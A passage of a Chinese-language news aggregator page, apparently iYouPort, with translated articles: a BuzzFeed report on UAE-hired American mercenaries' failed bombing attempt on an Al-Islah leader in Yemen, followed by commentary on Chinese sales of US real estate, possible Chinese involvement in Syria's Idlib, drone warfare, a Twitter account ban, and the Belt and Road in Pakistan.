在某些时候，他们也在阿联酋军队中获得官方称号。Golan 被任命为上校，Gilmore 是一名中校，对于这个从美国海军被淘汰的前士兵来说，这是一个令人兴奋的"晋升"。

Gilmore 仍然有他的阿联酋狗牌，一个印有他的血型“AB 阴性”的矩形牌牌。他的名字用英文和阿拉伯语两种语言写成。

Gilmore 说，使用阿联酋情报网络传递给他们的消息，该团队建立了目标人 Mayo 的日常生活模式—他住的地方、他祈祷的清真寺、他经常光顾的企业等等。

圣诞节快过去了，雇佣兵们分享着他们的威士忌并策划他们应该如何杀死 Mayo。突袭、炸弹、狙击手？Gilmore 说：“我们有五到六个行动计划。”

在对 Al-Islah 总部进行的一些快速监视之后，他们决定使用爆炸物。Gilmore 说他在帐篷里制定了详细的任务计划，显示了接近角度、攻击角度、以及最重要的逃生路线。

在向同事们详细介绍情况后，Gilmore 烧掉了任务计划。他说：“我不希望手写的任何东西漂浮在周围。”

Gilmore 回忆说，两天后他们就得知 Mayo 将在他的办公室举行大型会议。

Golan 与另一位前海豹突击队员、以及前三角洲部队士兵一起为此任务聚集。他们留下了自己的钱包和所有识别性信息，他们穿着各式各样的杂色制服—Gilmore 说他戴着棒球帽穿萨洛蒙Speedcross 越野跑鞋，带上了一个装满备用弹药的胸部装备。所有人都持有 AK-47，其中一个装满了弹片。

Gilmore 和 Golan 还有另外两人爬上了一辆装甲 SUV，车上有一名便衣阿联酋士兵。法国外籍军团的士兵在另一辆 SUV 上，这辆 SUV 会在距离袭击地点很近的地方停下来，如果美国人陷入困境，他们就会准备冲进去。

「图」

「图」

Golan 与他的雇佣兵团队成员

目前还不清楚究竟出了什么问题。

在雇佣兵到达前门之前，携带爆炸装置意味着应该杀死 Mayo，在 SUV 后面的一名战士忽然开火，沿着后街射击。

有一架无人机高空盘旋，而 BuzzFeed News 获得的视频显示了枪声，但不是美国人正在射击。无人机视频没有显示任何人向雇佣兵回击。

Gilmore 说他自己向街上的某个人开枪，但他的枪被卡住了。他说他不确定是谁向他们射击。视频显示，无论如何，尽管周围有骚动，雇佣军们仍携带爆炸物进入了建筑物—整整20秒。

为了逃脱，雇佣兵们跑进了阿联酋的军车。然后突然发生了爆炸—门上的炸弹—接着是第二个更大的炸弹。第二次爆炸是雇佣兵们的 SUV。Gilmore 和 Golan 说，他们陷入困境，掩盖了炸弹的来源，搅乱了 Al-Islah，并加剧了破坏。

团队返回基地时没有带上证据之类的东西。就是美国特种部队称其为正面识别或“PID”的玩意—以证明 Mayo 死了，例如照片或 DNA。

“这引起了达赫兰的一些疑问，” Gilmore 回忆道。

「图」

「图」

Obtained by BuzzFeed News

尽管如此，Mayo 似乎已经消失了。他不再在 Facebook 页面上发布，有一段时间里，Gilmore 和 Golan 说，他没有公开露面。

然而，Al-Islah 并没有宣布他的死亡，其实其他成员被暗杀后也会这样秘而不宣。Al-Islah 的发言人在接受电话采访时说，原因是 Mayo 还活着—他在袭击发生前10分钟离开了大楼，截至7月份一直住在沙特阿拉伯。发言人说，没有人在雇佣军的袭击中丧生。

后来，Mayo 似乎再次出现在了也门的政治中。根据马里兰州陶森大学中东和也门专家 Charles Schmitz 的说法，他于5月被提名为也门总统 阿卜杜拉布·曼苏尔·哈迪 赋予的一个职位。Schmitz 说，他最近发现了 Mayo 与联合国驻也门特使的团体合影照。

Golan 坚持认为，至少，Mayo 已经被消停了一段时间。“对我而言，这就是成功的，”他说，“只要这个家伙消失了。”

「图」

「图」

2015年8月12日，阿联酋机场，从阿联酋军用飞机上卸下军用设备，阿联酋士兵站岗

虽然此次的暗杀行动未能杀死 Mayo，但雇佣军的炸弹袭击似乎已经开启了阿联酋与 Al-Islah 战争的新阶段。Schmitz 说："正是雇佣军确定了 **Al-Islah** 现在将成为目标。"

与 BuzzFeed News 谈话的 Al-Islah 发言人通过记忆陈述了具体日期是：2015年12月29日。"这是第一次袭击，"他说。

随着 2016 年的进展，围观也门局势恶化的人们开始注意到，Al-Islah 的成员和 Aden 的其他神职人员正以惊人的速度堕落。"它似乎确实是一项有针对性的运动，"阿拉伯基金会的 Gregory Johnsen 说，他在 2016 年担任调查也门战争的联合国小组成员。"已经有**25**到**30**次暗杀，"他说，虽然其中有一些似乎是 ISIS 的工作（Johnsen 曾经为 BuzzFeed News 撰稿）

"人们普遍认为，"牛津大学的专家 Kendall 说，"阿联酋支持暗杀 Al-Islah 的官员和活动家。"

当 BuzzFeed News 向 Gilmore 展示一些死者的名字时，他对其中两人表示熟悉—"我也许能认出他们的脸"—并说他们是暗杀团队的目标之一。但他说他没有参与杀死他们。

Golan 说，他的团队杀死了几个人，但拒绝透露确切的数字或目标人的名字。在他们第一次半拙劣的任务结束之后，雇佣兵又重新启动了。

他们摆脱了法国外籍军团，取而代之的是美国人。Gilmore 和 Golan 说，阿联酋还为他们提供了更好的武器和更好的装备：**C4** 炸药，装有消音器的手枪，以及美国制造的高端 **M4** 步枪。他们还配备了摩托车，他们可以用它来穿越 Aden 拥挤的交通，并将带磁化贴的炸弹贴在汽车上。他们说，所有的设备都来自阿联酋军队。

Gilmore 只呆了很短的时间。他说他在 2016 年4月离开了 Spear 暗杀小组。他和 Golan 拒绝透露原因，但 Gilmore 表示他希望他在也门更加积极。他说："如果我能再做一遍，那么我们的风险就会减少。""我们本可以做一些令人惊奇的事—虽然我们也可以做一些惊人的事，但最终都被关进了监狱。"

根据三位消息来源并通过照片证实，该团队的一名新成员于2016年初被聘用，是海豹突击队6队的老将 Daniel Corbett。Corbett 是一位出色的士兵，据那些了解他的人说，他曾在阿富汗和伊拉克进行过多次战斗之旅。他还在储备中，所以美军随时都可以部署他; 他领取了政府发放的工资; 并且他应该报告每月的演习。然而，他在也门签订了一份为外国军队工作的私人合同。目前还不清楚他自己是否参与暗杀任何人的任务。

在一个神秘的事件中，Corbett 目前正在塞尔维亚的监狱里，在那里他因非法持有手枪罪名而被调查。自2018年2月以来，这位美国退伍军人一直被关押在那里。无法联系到 Corbett，他的律师没有回复寻求评论的电话。

当他们在也门工作时，雇佣兵们呆在小屋里，睡在狭窄的小床上。有些人携带着独特的武器来进行近距离战斗。根据照片，其中一个人在他的腰带上绑了两把刀，另一个带着一把小战斧。

该团队开始开发 Gilmore 称之为 “esprit de corps”的东西。他们带着一个临时旗帜，上面有一个骷髅头骨和两把交叉的剑—一种黑色背景上的 Jolly Roger—并将这个徽章涂在他们的军用车辆上和他们的生活区里。

关于 Spear 雇佣军团队的许多事仍然不得而知，一些参与者明确表示他们不想琢磨失败的事。当被问及是否已被部署在也门任务中时，其中一位美国人回答说：“如果我是被部署的人，你知道，我无法讨论这个问题。”在暗杀任务期间吮吸棒棒糖的前绿色贝雷帽给 BuzzFeed News 发了消息：“对你来说，一个重要的故事可能是一个人物角色的悲惨故事; 特别是如果他们是做正确的但不一定合法的事的好人。“

Gilmore 表示，“他本来希望暗杀行动不会受到关注。”但他决定与 BuzzFeed News 交谈，因为 “一旦出现这种情况，我就无法避开它了，所以，”我宁愿迎面接受。而且我不打算回避我做过的事。“

“暗杀仍然存在”，他说，“战争的未来有各种各样。”

Gilmore 已经不在雇佣军生意中了。从那以后，他发现自己处于另一个灰色地带的工作线上，尽管这个工作的危险性要小得多。他说他和一家加利福尼亚公司合作，计划为蒸发器生产大麻油。

原文

中国人正在迅速离开美国房地产市场？ - iYouPort

关于中国社会地缘政治

据华尔街日报发布的一份报告显示，经过多年的富裕中国人对美国房地产的大量洗钱式购买，现在中国人对美国商业地产的购买量去年已经跌至2012年以来的最低水平。

之所以下跌，是因为北京继续向中国投资者施加压力，要求将现金带回家，以阻止资金外流。回想一下，我们在12月初报道过，中国公司在上个季度已经抛售了10亿美元的美国房地产。

「图」

「图」

根据 Real Capital Analytics 的数据，包括中国大陆保险公司和企业集团在内的各种投资者在第四季度净卖出了价值8.54亿美元的美国商业房产。这是中国投资者连续第三个季度成为美国房地产的净卖家。

而且，当然，销售情况与2018年之前的五年形成鲜明对比，当时中国企业集团在美国引发了一场看似无休止的疯狂购买。数十亿美元的中国资金用于纽约华尔道夫酒店和芝加哥近百亿美元的摩天大楼开发。

但现在潮流已经转变，一些中国最大的投资者正在逆转此前的趋势。中国的信贷条件已经收紧，开发商试图通过变现美国资产来筹集资金；另外两国之间的贸易紧张局势也没有形成信任环境。

尽管如此，到2018年，中国人仍是美国房地产领域26.3亿美元的净买家。然而，这是6年来最低的数字。而且不仅仅是商业地产。中国买家也在出售他们的美国私人房产，中国人在美国的购买量在2017年4月至2018年3月期间下跌了4%（这是最近的数据）。

这些在一定程度上都是中国经济增长放缓的余震。该国报告2018年增长6.6%，这是自1990年以来最糟糕的年度增长，低于北京的估计。

更糟糕的是中国积极的影子信贷去杠杆化运动。由于市场猜测中国政府通过信贷发行大幅放缓实现“软着陆”，因此渴望流动性的投资者正迅速放弃美国房地产。

在全球市场，我们认为这可能会造成通货紧缩，导致2019年进一步放缓。

无论如何，“专家”仍然期望2019年中国的资金涌入美国房地产市场。房地产咨询公司罗森咨询集团的合伙人亚瑟马贡（Arthur Margon）表示：“他们没有设法稳定任何东西，所以时间表正在被延长。“

Chinese Accelerate Their Exodus From US Real Estate: In global markets, we believe this will likely create a deflationary chill and lead to a further slowdown in 2019.

原文

中国会以什么姿势介入叙利亚混战？ — — 最新局势评测 - iYouPort

中东和北非地缘政治

中国正在寻找适合施展其在中东之野心的机会，它不仅是要短期投资，而且要获得长期利益。这是现代帝国的标准操作程序

「图」

「图」

日前，美国地缘政治情报平台观察到一个迹象：中国驻叙利亚大使及其在该国的军官都明显提高了中国在叙利亚与叙利亚政府一起开展军事行动的可能性。据报道，中国大使 Qi Qianjin 表示，中国“军方愿意参与其中与叙利亚军队一起打击伊德利卜（Idlib）和叙利亚任何其他地区的恐怖分子”。报道说军事官员 Wong Roy Chang 表示，只要北京做出政治决定，那么中国军方就可以参加一项重新夺回被反叛分子占据的 Idlib 的行动。

这篇报道在英文社交网络上是热点话题，但在中文，几乎很少有人谈论它。

报道指出，这两项声明都不能证实中国即将派遣军队参与叙利亚的作战行动。但是，这些评论如果属实，将标志着我们对这种可能性的最接近的确认。

中国军事介入叙利亚将标志着中国在整个中东地区以及全球范围内的参与策略的重大改变。除了联合国维和人员任务下的行动外，一直以来中国在很大程度上避免了在其境外的军事行动。叙利亚的一次军事行动便可成为全球范围内的中国参与的开端。

中国长期以来一直关注活跃在 Idlib 的突厥斯坦伊斯兰党（TIP）中的维吾尔族武装人士。该报道分析说，鉴于 TIP 叙利亚分支的广泛战斗经验及其重要能力，北京很可能有兴趣看到维吾尔族武装分子在返回

中亚甚至中国之前被摧毁。

然而，即使中国确实参与了重新夺回 Idlib 的战斗，虽然这一点远非确定，中国的参与仍然会相当低调。中国对 Idlib 的关注重点将是希望看到关键的 TIP 领导者和战士被杀。为此，最有可能的中国部署是主要涉及军事顾问、情报人员以及一些特定行动部队的特定直接行动任务。就后者而言，可能涉及小规模部署武警部队，如雪豹突击队，该部队被吹得很神。

美国平台认为，即使中国只有这种低水平的承诺，也将标志着"中国整体战略"的显著偏离，并将标志着北京方面正在对中东和更远地区的军事政治参与做出新的尝试。这是美国的观点。

如果中国决定涉足 Idlib 的泥潭，它将不得不考虑到包括俄罗斯、土耳其和伊朗在内的大量相关势力。俄罗斯、土耳其和伊朗也存在着重大的差异。过去曾为 TIP 提供支持的安卡拉正在努力维持降级区域并防止可能导致难民再次大规模蔓延到土耳其的攻势。莫斯科也热衷于维持其与土耳其的降级区协议，但对 Idlib 的危险力量继续存在而感到不耐烦，如 TIP 和 Tahrir al Sham（也称为 HTS）继续袭击俄罗斯和保加利亚目标。最近，德黑兰和大马士革宁愿看到降级区域协议被取消，Idlib 发动全面攻势，但鉴于土耳其在该省存在相当大的影响，他们可能会担心没有俄罗斯的积极支持……

中国理得清楚吗？不过也许不是看起来这么简单。

叙利亚现在什么状况了？先简单说说。

Idlib 正进一步使土耳其与俄罗斯的关系复杂化

7月26日，土耳其总统埃尔多安和俄罗斯总统普京在南非金砖国家峰会期间举行会谈。此时正值土耳其对库尔德民主联盟党（PYD）与其武装派别人民保护部队（YPG）和叙利亚政权之间的分权谈判的担忧，日益增加。

埃尔多安和普京特别关注库尔德工人党（PKK）与 PYD / YPG 在叙利亚未来中的作用，以及避免 Idlib 暴力升级的战略问题。8 月 3 日，土耳其、俄罗斯和伊朗官员在俄罗斯索契举行了第十轮叙利亚“和平会谈“。

在黑海沿海城市，Idlib 问题也将是最微妙的讨论。安卡拉和莫斯科能够在多大程度上解决他们在叙利亚西北部的分歧，这将对土耳其与俄

罗斯的关系产生重大影响。

这是一个重要的时刻，当安卡拉与华盛顿的关系在"安德鲁·布伦森牧师"一案中的达到了新低，华盛顿"威胁土耳其"要对其实施制裁，除非美国牧师被释放。

在俄罗斯、伊朗、黎巴嫩真主党和其他外国打手的支持下，叙利亚总统巴沙尔·阿萨德的叙利亚阿拉伯军队（SAA）最近受到了东部 Ghouta、霍姆斯、以及 Daraa 和库奈特拉大部分地区的鼓舞，将斗争带到 Idlib — — 这个地区在 2015 年失去的大约 250 万人口 — — 是大马士革的一个优先事项，现在反对派如此士气低落。

叙利亚政权在 Idlib 发动攻势将严重破坏土耳其在叙利亚北部降级区的共同担保人能力，土耳其人在那里建立了十几个 “观察点”。安卡拉的官员尤其感到震惊的是，PYD 和政权之间关于库尔德民兵将其武装分子纳入 SAA 的报道、以及 PYD 准备与 SAA 合作以夺回 Idlib 换取大马士革交出 Afrin 和 Manbij 的计划。

对于莫斯科而言，这些事态发展构成了微妙的地缘政治困境，可能迫使俄罗斯冷却与土耳其的关系，因为它维持着对阿萨德政权的支持。Idlib 问题可能仍然是安卡拉一方与莫斯科和德黑兰之间紧张关系的源头，尽管他们对叙利亚政权在该国未来中所扮演的角色存在不同立场，但这三个首都表面上都试图推进阿斯塔纳进程。

土耳其发誓如果叙利亚政权对 Idlib 发动攻势，土耳其就放弃阿斯塔纳谈判，这对克里姆林宫来说至关重要，他们正在试图缓解叙利亚西北部这一地区的紧张局势。

「图」

「图」

The Kurdish YPG, which Turkey says is linked to the outlawed PKK militia which has fought a 34-year war against Ankara, had largely controlled the three border cantons of Afrin, Kobane and Jazira before Turkey led an incursion into Afrin and Idlib, where tens of thousands of refugees and rebel fighters have sought haven after Assad’s Russian-backed assaults across the country

土耳其在叙利亚的主要目标是成为该国未来的股东，尽可能地控制 YPG，同时防止库尔德民兵建立连接地中海与叙利亚 — 伊拉克边界

的走廊。从安卡拉的角度来看，通过与俄罗斯的合作实现这些目标是最现实的。

莫斯科将土耳其视为俄罗斯与某些叛乱集团进行谈判的平台，旨在促成一项让复兴党掌权的协议。虽然俄罗斯赞同阿萨德政权对 SAA 近期收益的乐观态度，克里姆林宫也可能会给大马士革收回 Idlib 开绿灯，但莫斯科已经开始担心该政权在没有适当考虑土耳其安全利益的情况下重新夺回叙利亚北部的领土。

SAA／PYD／YPG 在夺取 Idlib 上的协调努力几乎不可避免地将引发与土耳其的血腥对抗。然而，叙利亚总统巴沙尔·阿萨德尚未表现出愿意与土耳其和安卡拉支持 Idlib 的反叛部队进行谈判的迹象。相反，根据大马士革政权，SAA 正准备在西北省发起攻势。由于 Idlib 的任何一次重大冲突都将导致叙利亚难民流入土耳其哈塔伊省，因此夺回该地区的可能性也令安卡拉感到不安。

安卡拉和莫斯科是否可以谨慎地驾驭他们在 Idlib 的反对利益，同时适应彼此的合理安全关切，将严重影响土耳其与俄罗斯关系的未来发展轨迹。此前两年安卡拉在政变失败后开始向莫斯科“地缘政治转向”。

「图」

「图」

YPG 恐怕已成为牺牲品

随着叙利亚内战的每一天都是在拖延，阿萨德似乎更加接近于巩固他对权力的致命控制了。但冲突远未结束，相反，正在进入一个新的阶段，在这个阶段，地区的重量级人物正在努力争取对他们自己有利的新的力量平衡。

库尔德人的自治梦可能是这次宏大战略机动的一个牺牲品。

曾经是 IS 的战略盟友，库尔德 YPG 主导的叙利亚民主力量（SDF）现在是美国的一个战略责任。其中的关键是土耳其。库尔德人民保护部队（YPG）控制着土耳其与叙利亚接壤的大部分地区。它与土耳其东南部的分离主义派系库尔德工人党有着深厚的联系，土耳其政府将其视为恐怖分子。

土耳其军队要求 YPG 从 Manbij 撤离到幼发拉底河以东，但只要他们的美国盟友拒绝在土耳其的要求下撤离，YPG 就能坚持不懈。

但6月开始这一局面结束了，当时美国和土耳其达成了一项协议，两个北约盟国同意分担安全责任。由于失去了美国的支持，YPG 退出了 Manbij，正在输掉更多来之不易的领土。

其实此前美国已经表现出了明显的迹象。2017 年11月，特朗普向埃尔多安保证，美国将不再向 YPG 提供武器。今年3月，美国 冻结了 2 亿美元用于 YPG 控制的叙利亚地区的救援资金，土耳其外交部长 Cavusoglu 称赞这是“正确的决定”。

为什么美国如此迅速地放弃了在叙利亚长达一年的盟友？答案很简单：俄罗斯和伊朗。

如果阿萨德政权能够脱颖而出，这对俄罗斯和伊朗来说也是一场胜利，两者都极大地扩大了他们在中东的影响力。阿萨德呼吁俄罗斯军队留在叙利亚，即使在最后一批叛乱分子放下武器之后，他们说：“在全球政治平衡发生变化之前，至少在中东需要俄罗斯武装力量来实现我们地区的平衡。“

几十年来一直寻求扩大其全球威望的俄罗斯可能会很高兴这么做。它与叙利亚政府签订了长期租赁协议，以便使用塔尔图斯的海军基地和 Khmeimim 空军基地。

伊朗在叙利亚拥有重要的军事存在，旨在威胁以色列，并为阿萨德政府提供每年约 60 亿美元的援助。同样寻求在该地区扩大影响力的伊朗人不大可能简单地放弃对叙利亚的投资，特别是在伊拉克的类似投资获得如此丰厚的回报之后。

俄罗斯也一直试图在土耳其与其他北约盟国之间制造不和谐。亲密的俄土关系威胁到北约面对俄罗斯扩张主义的战略一致性，最近一次是土耳其同意购买俄罗斯 S-400 防空系统。这些系统与北约防御网络不相容，可能无意中向俄罗斯泄漏有关北约防御能力的信息。这导致美国考虑阻止向土耳其空军交付 F-35 联合攻击战斗机。土耳其也是作为战略要塞的 Incirlik 空军基地和北约弹道导弹预警雷达系统的所在地。

此外，YPG 自己的政治也是导致其失败的原因之一。

YPG — 以及整个自卫队 — 从未完全放弃与阿萨德政府的联系，也没有正式加入叙利亚抵抗运动。叙利亚民主理事会是 YPG 主导的自卫队的政治部门，最近开始与阿萨德政权进行会谈，目的是巩固其部分领土和政治利益。阿萨德威胁说如果拒绝谈判，就使用武力夺回 YPG

的控制区。随着美国的支持迅速减弱，土耳其人渴望一有机会就摧毁 YPG，库尔德人只有很少的时间和很少的杠杆来进行谈判。

中东的力量平衡处于不稳定的状态，鉴于一个关键的北约盟国的意图是不确定的。

美国在叙利亚的主要利益不再是击败 **IS** 或将阿萨德从权力中移除，而是维持良好的权力平衡。这将意味着继续努力加强以色列和沙特的军事能力，同时努力吸引土耳其摆脱与俄罗斯和伊朗日益友好的关系。

面对如此重大的战略问题，美国将尽早放弃 YPG／SDF 的命运，目的是加强与土耳其的关系，努力对抗俄罗斯和伊朗。

叙利亚的任何主要参与者都没有理由在军事或外交上支持 YPG。他们只是在更好的为自己的利益服务。Rojava 已经死了。

「图」

「图」

上面这图是法新社的照片，巴基斯坦人抗议 2013 年美国无人机在白沙瓦地区的袭击事件。

越来越多的无人机，越来越多的道德困境

如果你现在随便问任何一个美国人，“你是否支持武装无人机轰炸”，十次有八次会得到 NO 的回复。随着更多真相被披露，这场战争已经陷入越来越深的道德困境。

美国于 2002 年 2 月 4 日使用“捕食者”无人机进行了首次有针对性的杀戮。当时中央情报局收到情报称得知奥萨马·本·拉登下落，之后轰炸发生在阿富汗附近的霍斯特市。

虽然那场地狱火导弹没能杀死基地组织领导人，但它成为了美国无人机暗杀计划的开端。

布什担任总统期间进行了 50 次无人机袭击，宣传稿称杀死了 410–595 名“敌方战斗人员”，估计还有 332 名平民，其中包括 100 多名儿童。

然而，在奥巴马的领导下，美国的无人机计划才真正起飞。奥巴马总

共批准进行了 563 次无人机轰炸，在阿富汗、巴基斯坦、也门、索马里、叙利亚和伊拉克杀害了多达 800 名平民。同时获得了诺贝尔和平奖。

虽然奥巴马的白宫长期以来一直坚称其无人机袭击是“特别精确的”，但英国调查新闻局的一项详细分析发现，仅在巴基斯坦奥巴马指挥的无人机袭击事件中就有 45 名平民被杀害。

如果说无人机轰炸是在奥巴马治下起飞的，那么在特朗普的领导下则得到了飙升。特朗普在 2017 年就将美国军方进行的无人机袭击数量增加了一倍，与奥巴马执政的最后一年相比。

虽然无人机计划被认为是短期的战略成功，使恐怖主义团体难以发展庇护所，同时也限制恐怖组织领导人的行动，但是长期的负面后果肯定抵消了短期收益，无人机袭击"被认为是"激活许多暴力极端主义的关键驱动因素。

不光美国，中东现在充斥着各种无人驾驶飞行器（UAV），各个国家都在开发和采购无人机，不仅用于军事目的，而且还用作压制本国的“不守规矩”的人口。

延伸阅读：《"//消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代//"》

根据英国的一份最新报告，至少有七个中东国家要么从中国采购武装无人机，要么已经开发了自己的武装无人机。令人震惊的是，报告还指出，在过去五年中，部署武装无人机的国家数量翻了两番，并且有望在未来两年内再翻番。

截至今天，埃及、伊朗、伊拉克、以色列、阿联酋和沙特阿拉伯都在中东地区运营武装无人机，伴随着美国、以色列、俄罗斯和英国在该地区部署的无人机。

此外，以色列、伊朗、土耳其、沙特阿拉伯和阿联酋都在发动无人机袭击，其中许多袭击在叙利亚境内。人权组织特别关注的是使用无人机以打击支持民主和人权的抗议者。在加沙，以色列已开始使用无人机投放催泪弹，这些无人机在过去两个月内导致数十人受伤甚至致残。

“无人机已进入一个新领域：一个完全无风险的、远程甚至潜在自动化杀戮的领域，脱离了人类的行为线索，” John Sifton 说。全党议会

小组（APPG）发表的关于无人机的最新报告警告说，英国在叙利亚和伊拉克使用的无人机攻击已“对无人机的合法性、功效和战略连贯性提出了严重质疑”，并指出由于平民在国外被杀害，英国将面临谋杀案的风险。

延伸阅读《"//他们声称的“精准打击”究竟是什么？//"》《"//试图令阿萨德下台的不是美国，而是2011年参加抗议的叙利亚人民//"》《"//叙利亚冲突中的各方及其国际支持者对平民生活表现出骇人的蔑视//"》《"//叙利亚战争中没有人是无辜的，除了平民//"》

不，他们没有反思，他们在忙着堵嘴

昨天突发了惊人的消息，twitter 封锁了美国国务院/伊拉克战争内幕揭露者 Peter Van Buren 的账户 @WeMeantWell。Peter 是一位备受尊敬的前外交官，著名反战人士，拥有无可挑剔的资格，可以批评当前可能导致东欧或亚洲新战争的事态发展，这是美国人应该想要避免的事。

2011年 Peter 出版了一本很著名的书《We Meant Well: How I Helped Lose the Battle for the Hearts and Minds of the Iraqi People》关于平民和军队的糟糕决策如何导致了灾难性的占领和假民主在伊拉克的发展。Peter 担心的是，美国可能会再次走上同样的道路 — — 与伊朗、叙利亚和中东地区的其他国家一道。

Peter 与几位支持战争的主流媒体记者就政府撒谎行为的主题在 twitter 进行了激烈交流，但是，在没有任何严肃调查的情况下，也没有给他辩驳的机会，twitter 就封锁了 Peter 的账户。并且，罗恩·保罗和平与繁荣研究所执行主任丹尼尔·麦克亚当斯（Daniel McAdams）备受尊敬的前国会职员，因捍卫 Peter 权衡争端，也被 twitter 封锁了。

永久性封锁删除了 **Peter** 七年来所有的推文存档，因此目前无法检查导致他受到惩罚的实际交流内容。数字极权的惩罚严重不透明，存在明显的滥用，日前 **twitter** 声称的打击虚假帐户的大清洗运动中，就有很多主张反战反数字极权的匿名者组织人士报告被限流，无法被搜索和添加。也由此可见，美国的*反-反战运动*似乎正在掀起再一次高潮。

为什么？目前是今年的第二次叙利亚战争成为热点 — 上一次是英法美的轰炸。与 ISIS 的对战已经在叙利亚结束了，美国继续留在这场战争中的理由是什么？这个问题正在成为广泛的推测。而与此同时，中

国加入战争的消息格外引人关注。

资深情报人员组织 VIPS 在对 twitter 等公司审查行为的抨击中写道：“政府提出的令批评者保持沉默的建议很可能被你们的管理层和其他社交媒体公司视为一个理想的掩饰步骤，但无论你们以什么为借口，审查都是审查“。

「图」

「图」

Chinese Foreign Minister Wang Yi (r) holds talks with Syrian deputy prime minister and foreign minister Walid al-Moallem in Beijing, Dec. 24, 2015

“敌人的敌人”

过去，中国支持叙利亚中央政府，因为他们与某些圣战组织互相敌对 — 如萨拉菲派激进组织。正如文章开头所说，中国关注的主要是被称为土耳其斯坦伊斯兰党（TIP）的基地组织的附属组织，该组织也被称为东突厥斯坦伊斯兰运动（ETIM），由于内战的发展，它在叙利亚的存在越来越多。

TIP 是 Syrian Hayat Tahrir al Sham（HTS）的一部分，之前被称为 al Nusra，是个伞式组织。最初 TIP 是 HTS 及其在叙利亚境内运营的物流组织，为该地区提供战斗机和设备。近年来，TIP 发挥了更积极的作用，将越来越多的自己的战斗机部署到叙利亚。

因此，TIP 是 HTS 推动捕获 Idlib 市并在 2017 年1月寻求对该省的控制权的一部分。从那时起，TIP 和 HTS 都使用 Idlib 作为其运营总部。

TIP 是来自东亚和中亚的逊尼派穆斯林突厥语 — 维吾尔族的萨拉菲吉哈德派。维吾尔族历史上居住在土耳其斯坦（波斯语中的“土耳其人土地”）地区，该地区包括中国、蒙古、俄罗斯（鞑靼斯坦和西伯利亚的小地区）以及哈萨克斯坦、土库曼斯坦、塔吉克斯坦等广大地区，乌兹别克斯坦、吉尔吉斯斯坦和阿富汗。大多数族裔群体，估计有1100万至1500万，位于被称为新疆维吾尔自治区的中国境内。中国政府多次被指控压迫维吾尔族和藏族等少数民族。

TIP 主要来自与新疆接壤的阿富汗东南部地区，就是被称为矿产宝库的阿富汗同一地区，中国已投入巨资以开采有价值的矿产。该组织被

欧盟和美国视为“恐怖组织”，从一开始就参加叙利亚混战了。

中国愿意部署到叙利亚的军事援助究竟到什么程度，目前尚未明确。阿萨德政府不太可能要求中国直接参与对剩余反叛飞地的军事攻势，因为那样一来只会对该联盟产生负面影响。于是推测认为，相比物质价值来说，中国的态度应该具有象征意义更多一些。除了为军事装备和政治资本提供更新和进一步扩展的信贷额之外，此时提供的任何支持都可能以少数军事顾问的形式出现。

但不可小视中国的介入。政治资本可能是北京可以为大马士革提供的最值钱的东西，因为它不仅可以使阿萨德政府进一步合法化，还可以保护阿萨德政权以令国际社会不要采取任何形式的协调来取代巴沙尔。

中国和俄罗斯继续利用其在联合国安理会（UNSC）的席位否决或击退任何可能破坏大马士革政府重新控制整个叙利亚的决议，以及阿萨德政权重新合法化的努力。

近年来，中国在向非洲和中东的政府出口各种型号的装甲运兵车（APC）和步兵战车（IFV）方面取得了不得不引人关注的进展。这些出口通常作为大规模基础设施的一部分，主要是公路和电力设施以及军事援助一揽子计划，为接收方提供有利的财务条款。这些军用车辆和道路项目已成为中国在整个地区取得深入的象征。

理论上讲，这些交易通常是软贷款，但实际上，它们代表了中国的软影响力投资阶段，中国试图让这些国家继续承担持续的长期债务。这是现代帝国的标准操作程序，从东方到西方，帝国主义不再是一个可接受的政治路线。

这种性质的交易不仅被广泛用于直接影响贫困国家，令其对所提供的基础设施产生长期依赖，而且还利用其国际社会投票权来代表特定利益。由于近年来西方选择退出发展中国家，避免与不道德的国家做生意，于是俄罗斯和中国已经填补了这一空缺。

毫无疑问，中国正在寻找适合其施展在中东之野心的机会，它不仅是要短期投资，而且要获得长期利益。就类似于中国在尼日利亚，厄立特里亚，索马里，利比亚，埃及，非洲等地正在做的事。〇

原文

中国在巴基斯坦的“一带一路”计划已经走向了军事化 - iYouPort

地缘政治

当特朗普用暂停向巴基斯坦提供数十亿美元的安全援助开启新的一年时，有人推测这会吓得巴基斯坦军方与美国盟友展开更好的合作。但现实情况是，巴基斯坦有一个替代资助人在等着。就是中国。

仅仅两周之后，巴基斯坦空军就和中国官员就一项秘密计划进行最后的接触，该计划旨在扩大巴基斯坦的中国军机、武器和其他装备的规模。据《纽约时报》查阅的这份保密计划，中巴双方还将加强在太空领域的合作，五角大楼曾在近日表示，这是一个北京在数十年的追赶之后试图进行军事化的前沿领域。

所有这些军事项目都被认定为中国“一带一路”倡议的一部分，该倡议是投资一万亿美元的一系列由北京建设和出资的基础设施发展项目，遍布约70个国家。

在与美国关系趋冷时，巴基斯坦通常会积极地转向中国。一些巴基斯坦官员则越来越担心，这会将主权拱手让给其财力雄厚的亚洲盟友，但两国现在捆绑在一起的方式可能让巴基斯坦别无选择，只能继续下去。

在中巴新的军事合作曝光之前，中国在巴基斯坦一些最大型的项目就已经具有明显的战略意味。

「图」

「图」

在巴基斯坦瓜达尔镇，中国建造的港口和经济特区源于贸易，使中国有更快捷的途径将货物运往阿拉伯海地区。但是，随着中美两国在海上越来越多地相互对峙，如果紧张局势恶化到海军封锁的程度，它也会给北京提供一张与印度和美国对弈的战略牌。“一带一路”中较少受

到仔细审视的部分是巴基斯坦在中国北斗卫星导航系统中发挥的核心作用。巴基斯坦是唯一获准使用该系统军事服务的国家，这可以为导弹、船只和飞机提供更精确的引导。

- 延伸阅读：《高堡奇人新剧情是什么？北斗》

该合作表面上使其从属国不再依赖于美国军用 GPS 网络这个中国担心会受到美国监控和操纵的系统，但其实旨在成为北斗系统向其他“一带一路”国家扩张的蓝图。

巴基斯坦在中国看来是个有很多优点的顺从盟友：共同的边境线和悠久的合作史；在南亚阻挡印度的一道屏障；一片庞大的军售市场和具有增长潜力的贸易市场；丰厚的自然资源。

现在，中国还找到了其安全和监控技术更好的展示橱窗—— 与美国的密切军事关系曾经是这里的决定性特征。

- 延伸阅读：《为什么年轻的巴基斯坦人努力学习中文？而不是英语……》

2015年，在“一带一路”倡议下，中国选择了巴基斯坦沿海小镇瓜达尔的一个新兴港口，用估计达8亿美元的开发计划给项目注入强心剂，其中包括为中国企业兴建的大型经济特区。

连接该港口和中国西部的，将是一片 2000 英里的新建公路和铁路网络，穿越巴基斯坦最险峻的地带：俾路支省，一片饱受战争困扰的资源富集区。

